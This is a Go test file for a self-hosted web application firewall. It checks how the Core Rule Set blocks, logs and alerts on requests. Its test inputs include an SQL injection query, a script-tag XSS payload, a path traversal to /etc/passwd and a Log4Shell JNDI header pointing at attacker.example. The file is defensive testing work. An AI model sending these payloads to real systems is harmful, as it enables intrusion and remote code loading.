check / check (push) Failing after 25m20s
Each app's fixes are one .conf file and one entry in apps. They apply only while Inspect has set the app's transaction variable, such as tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only its apps' fixes; while SWW_APPS is unset, every hostname gets every app's fixes. A hostname in SWW_APPS that is not a DNS name, such as *.example.com, stops the start. Unset, SWW_APPS is logged at start as null; set empty, as "". Model: opus-5-5
558 lines
18 KiB
Go
558 lines
18 KiB
Go
package discriminator_test
|
|
|
|
import (
|
|
"io"
|
|
"net/http"
|
|
"net/netip"
|
|
"slices"
|
|
"strconv"
|
|
"strings"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
|
)
|
|
|
|
// The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
|
|
// its two modes that inspect requests.
|
|
const (
|
|
wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
|
|
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
|
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
|
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
|
apps = "SWW_APPS"
|
|
block = "block"
|
|
detect = "detect"
|
|
)
|
|
|
|
// formData is the type of a form's body.
|
|
const formData = "application/x-www-form-urlencoded"
|
|
|
|
// sizeLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
|
|
// setting.
|
|
const (
|
|
sizeLimit = 1 << 10
|
|
sizeLimitSetting = "1K"
|
|
)
|
|
|
|
// sqlInjection asks for / with an SQL injection in its query, which only
|
|
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
|
|
// SWW_WAF_ANOMALY_THRESHOLD.
|
|
const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
|
|
|
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
|
|
// core_rule_set_score, and that it has duration_core_rule_set_ms, or with no
|
|
// score, that it has none of the three: the Core Rule Set did not inspect the
|
|
// request.
|
|
func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
|
|
t.Helper()
|
|
|
|
if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) {
|
|
t.Errorf("log line has core_rule_set_rule_ids %v, want %v",
|
|
line.CoreRuleSetRuleIDs, ruleIDs)
|
|
}
|
|
|
|
switch {
|
|
case score == nil &&
|
|
(line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil):
|
|
t.Errorf("log line has core_rule_set_score %v and "+
|
|
"duration_core_rule_set_ms %v, want neither",
|
|
line.fields["core_rule_set_score"], line.fields["duration_core_rule_set_ms"])
|
|
case score != nil &&
|
|
(line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score):
|
|
t.Errorf("log line has core_rule_set_score %v, want %d",
|
|
line.fields["core_rule_set_score"], *score)
|
|
case score != nil && line.DurationCoreRuleSetMS == nil:
|
|
t.Error("log line has no duration_core_rule_set_ms")
|
|
}
|
|
}
|
|
|
|
func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, tc := range []struct {
|
|
name string
|
|
mode string
|
|
status int
|
|
action string
|
|
}{
|
|
{block, block, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet},
|
|
{detect, detect, http.StatusOK, requestlog.ActionForward},
|
|
} {
|
|
t.Run(tc.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
|
|
|
|
wantTags(t, s.request(client, sqlInjection, tc.status, tc.action),
|
|
"exploitsignature")
|
|
wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{
|
|
wafMode: detect, tagDeny: "exploitsignature",
|
|
})
|
|
|
|
line := s.request(client, sqlInjection, http.StatusForbidden,
|
|
requestlog.ActionClientDenied)
|
|
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
|
|
}
|
|
|
|
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range []struct {
|
|
name, path, header string
|
|
ruleIDs []int
|
|
score int
|
|
}{
|
|
{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
|
|
{
|
|
"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
|
|
[]int{941100, 941110, 941160, 941390}, 20,
|
|
},
|
|
{
|
|
"path traversal in the path", "/files/../../etc/passwd", "",
|
|
[]int{930100, 930110}, 10,
|
|
},
|
|
{
|
|
"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
|
|
[]int{944150}, 5,
|
|
},
|
|
{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
|
|
{
|
|
// Coraza keeps the first 1000 query parameters.
|
|
"SQL injection after 1000 query parameters",
|
|
"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
|
|
[]int{900300}, 5,
|
|
},
|
|
} {
|
|
t.Run(attack.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, tc := range []struct {
|
|
mode, action string
|
|
status int
|
|
}{
|
|
{block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden},
|
|
{detect, requestlog.ActionForward, http.StatusOK},
|
|
} {
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
|
|
|
|
line := s.requestWithHeader(client, attack.path, attack.header,
|
|
tc.status, tc.action)
|
|
wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
|
|
|
line := s.request(client, sqlInjection, http.StatusForbidden,
|
|
requestlog.ActionBlockedByCoreRuleSet)
|
|
wantHeuristic(t, line, "core_rule_set", `{"score": 5, "threshold": 5}`)
|
|
}
|
|
|
|
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
|
|
|
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
|
|
http.StatusOK, requestlog.ActionForward)
|
|
wantCoreRuleSet(t, line, new(0))
|
|
}
|
|
|
|
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
|
t *testing.T,
|
|
) {
|
|
t.Parallel()
|
|
|
|
const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{
|
|
wafMode: block,
|
|
wafExemptPaths: "/api/",
|
|
allowNets: allowed,
|
|
rulesDir: writeRules(t, testRules),
|
|
})
|
|
|
|
// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
|
|
// exempts, are not inspected.
|
|
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantCoreRuleSet(t, line, nil)
|
|
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
|
|
requestlog.ActionForward)
|
|
wantCoreRuleSet(t, line, nil)
|
|
|
|
// The prefix is matched as rate limit exempt paths are: a path that
|
|
// goes up and out of it is inspected.
|
|
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
|
|
requestlog.ActionBlockedByCoreRuleSet)
|
|
wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100)
|
|
|
|
// A request a rule file refuses is not inspected.
|
|
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
|
|
requestlog.ActionBlockedByBlockRule)
|
|
wantCoreRuleSet(t, line, nil)
|
|
|
|
// With SWW_WAF_MODE off, no request is.
|
|
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
|
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantCoreRuleSet(t, line, nil)
|
|
}
|
|
|
|
func TestAnomalyThreshold(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// A score under the threshold, or with the threshold off, is logged,
|
|
// and refuses nothing.
|
|
for _, threshold := range []string{"6", off} {
|
|
s, _, _ := startWithClock(t, "", map[string]string{
|
|
wafMode: block, wafAnomalyThreshold: threshold,
|
|
})
|
|
|
|
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantCoreRuleSet(t, line, new(5), 942100)
|
|
}
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{
|
|
wafMode: block, wafAnomalyThreshold: "5",
|
|
})
|
|
s.request(client, sqlInjection, http.StatusForbidden,
|
|
requestlog.ActionBlockedByCoreRuleSet)
|
|
}
|
|
|
|
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, request := range []struct {
|
|
name, method, path, header string
|
|
// ruleIDs are the rules that match the request with none
|
|
// switched off.
|
|
ruleIDs []int
|
|
}{
|
|
{
|
|
"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
|
|
"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
|
|
[]int{920420, 930130},
|
|
},
|
|
{
|
|
"package upload without a type", http.MethodPut,
|
|
"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
|
|
[]int{920340},
|
|
},
|
|
{
|
|
"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
|
|
[]int{920440},
|
|
},
|
|
{
|
|
"an editor's settings", http.MethodGet,
|
|
"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
|
|
},
|
|
} {
|
|
t.Run(request.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
body := ""
|
|
if request.method != http.MethodGet {
|
|
body = "push"
|
|
}
|
|
|
|
// By default, the rules are switched off.
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
|
line, _ := s.requestWithBody(request.method, client, request.path,
|
|
request.header, body, http.StatusOK, requestlog.ActionForward)
|
|
wantCoreRuleSet(t, line, new(0))
|
|
|
|
// A list given replaces the default.
|
|
s, _, _ = startWithClock(t, "", map[string]string{
|
|
wafMode: block, wafDisabledRules: "942100",
|
|
})
|
|
score := 5 * len(request.ruleIDs)
|
|
line, _ = s.requestWithBody(request.method, client, request.path,
|
|
request.header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
|
wantCoreRuleSet(t, line, &score, request.ruleIDs...)
|
|
|
|
// And switches off the rules it lists.
|
|
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantCoreRuleSet(t, line, new(0))
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// Only gitea's fixes let a file name through in path, a parameter
|
|
// gitea sends file names in.
|
|
const fileName = "/?path=.gitignore"
|
|
|
|
s := startDiscriminator(t, "", map[string]string{
|
|
wafMode: block, apps: siteA + ":gitea",
|
|
})
|
|
|
|
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
|
|
http.StatusOK, discriminator.DispositionAllow)
|
|
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
|
|
http.StatusForbidden, discriminator.DispositionDeny)
|
|
|
|
lines := s.out.requestLines(t, 2)
|
|
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
|
|
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
|
}
|
|
|
|
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const body = "id=1'%20OR%20'1'='1"
|
|
|
|
header := "Content-Type: " + formData + "\r\nContent-Length: " +
|
|
strconv.Itoa(len(body))
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
|
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
|
|
http.StatusOK, requestlog.ActionForward)
|
|
wantCoreRuleSet(t, line, new(0))
|
|
|
|
s, _, _ = startWithClock(t, "", map[string]string{
|
|
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
|
})
|
|
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
|
|
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
|
wantCoreRuleSet(t, line, new(5), 942100)
|
|
}
|
|
|
|
func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// The app answers with the body it was sent, once it has the whole of
|
|
// it: Go's server reads no more of a body once the answer has begun.
|
|
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
|
body, _ := io.ReadAll(r.Body)
|
|
_, _ = w.Write(body)
|
|
})
|
|
addr, out := startProxy(t, app.URL, map[string]string{
|
|
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
|
})
|
|
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
|
|
|
|
for i, tc := range []struct {
|
|
name, contentType, body string
|
|
// announced sends the body's length in Content-Length; otherwise
|
|
// the body is sent in chunks with no length given.
|
|
announced bool
|
|
}{
|
|
{"form data within the limit", formData, "a=b", true},
|
|
{"form data longer than the limit", formData, longer, true},
|
|
{"form data longer than the limit, not announced", formData, longer, false},
|
|
{
|
|
"JSON larger than the limit", "application/json",
|
|
`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
|
|
},
|
|
{
|
|
"a binary body", "application/octet-stream",
|
|
strings.Repeat("\x00\xff", sizeLimit), true,
|
|
},
|
|
} {
|
|
// A reader whose length the client cannot tell is sent in chunks.
|
|
var body io.Reader = strings.NewReader(tc.body)
|
|
if !tc.announced {
|
|
body = io.MultiReader(body)
|
|
}
|
|
|
|
req := newRequest(t, http.MethodPost, addr, "/", body)
|
|
req.Header.Set("Content-Type", tc.contentType)
|
|
|
|
got := do(t, req)
|
|
if got.status != http.StatusOK || string(got.body) != tc.body {
|
|
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
|
|
tc.name, len(got.body), got.status, len(tc.body))
|
|
}
|
|
|
|
line := out.endedLines(t, i+1)[i]
|
|
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
|
|
|
|
if line.RequestBytes != int64(len(tc.body)) {
|
|
t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
|
|
line.RequestBytes, len(tc.body))
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestResponsesAreNotInspected(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// A raw shell script, and an SQL error, which the Core Rule Set's rules
|
|
// for responses take for a leak.
|
|
const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
|
|
"You have an error in your SQL syntax; check the manual that " +
|
|
"corresponds to your MySQL server version\n"
|
|
|
|
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
|
_, _ = w.Write([]byte(page))
|
|
})
|
|
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
|
|
|
|
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
|
|
if got.status != http.StatusOK || string(got.body) != page {
|
|
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
|
|
}
|
|
|
|
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
|
|
}
|
|
|
|
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, _, server := startWithClock(t, "", map[string]string{
|
|
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
|
|
})
|
|
|
|
for range 2 {
|
|
s.request(client, sqlInjection, http.StatusForbidden,
|
|
requestlog.ActionBlockedByCoreRuleSet)
|
|
}
|
|
|
|
// The third refusal in a minute breaks the error burst, and bans the
|
|
// client.
|
|
line := s.request(client, sqlInjection, http.StatusForbidden,
|
|
requestlog.ActionBlockedByCoreRuleSet)
|
|
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
|
line.Offence != requestlog.OffenceLimit {
|
|
t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals and limit",
|
|
line.LimitHit, line.Offence)
|
|
}
|
|
|
|
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
|
|
|
want := ratelimit.Offences{Limit: 1, BlockedByCoreRuleSet: 3}
|
|
if offences := historyOf(t, server, client).Offences; offences != want {
|
|
t.Errorf("history counts the offences %+v, want %+v", offences, want)
|
|
}
|
|
|
|
metrics := s.scrape()
|
|
wantMetric(t, metrics,
|
|
`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
|
|
wantMetric(t, metrics,
|
|
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, 3)
|
|
wantMetric(t, metrics, `sww_requests_total{action="blocked_by_core_rule_set",`+
|
|
`instance="app",status_class="4xx"}`, 3)
|
|
}
|
|
|
|
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, _, server := startWithClock(t, "", map[string]string{
|
|
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
|
|
})
|
|
|
|
for range 3 {
|
|
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
}
|
|
|
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
|
|
offences := historyOf(t, server, client).Offences
|
|
if offences != (ratelimit.Offences{}) {
|
|
t.Errorf("history counts the offences %+v, want none", offences)
|
|
}
|
|
|
|
metrics := s.scrape()
|
|
wantMetric(t, metrics,
|
|
`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
|
|
wantNoSeries(t, metrics,
|
|
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`)
|
|
}
|
|
|
|
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
|
|
|
|
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet)
|
|
wantCoreRuleSet(t, line, new(5), 942100)
|
|
|
|
// It is an offence as in enforce mode.
|
|
want := ratelimit.Offences{BlockedByCoreRuleSet: 1}
|
|
if offences := historyOf(t, server, client).Offences; offences != want {
|
|
t.Errorf("history counts the offences %+v, want %+v", offences, want)
|
|
}
|
|
}
|
|
|
|
func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, tc := range []struct {
|
|
name string
|
|
env map[string]string
|
|
// status and action are what the request is answered and logged
|
|
// with, and alertMode what the alert's detail gives as mode, if
|
|
// anything.
|
|
status int
|
|
action, alertMode string
|
|
}{
|
|
{
|
|
"block", map[string]string{wafMode: block},
|
|
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "",
|
|
},
|
|
{
|
|
"detect", map[string]string{wafMode: detect},
|
|
http.StatusOK, requestlog.ActionForward, detect,
|
|
},
|
|
{
|
|
"block in observe mode", map[string]string{wafMode: block, mode: observe},
|
|
http.StatusOK, requestlog.ActionForward, observe,
|
|
},
|
|
} {
|
|
t.Run(tc.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, clk, _, queue := startWithAlerts(t, tc.env)
|
|
|
|
// The second is a repeat, which the cooldown holds back, and an
|
|
// ordinary request raises none.
|
|
for range 2 {
|
|
s.request(client, sqlInjection, tc.status, tc.action)
|
|
}
|
|
|
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
|
|
detail := map[string]any{
|
|
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
|
|
"path": sqlInjection,
|
|
}
|
|
if tc.alertMode != "" {
|
|
detail["mode"] = tc.alertMode
|
|
}
|
|
|
|
wantAlerts(t, queue, alerts.Alert{
|
|
Instance: alertInstance,
|
|
Time: clk.Now(),
|
|
Event: alerts.EventCoreRuleSetMatch,
|
|
Host: appHost,
|
|
Client: netip.MustParseAddr(client),
|
|
Netblock: netip.MustParsePrefix(client + "/32"),
|
|
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
|
|
Detail: detail,
|
|
})
|
|
|
|
if queue.Suppressed() != 1 {
|
|
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
|
|
}
|
|
})
|
|
}
|
|
}
|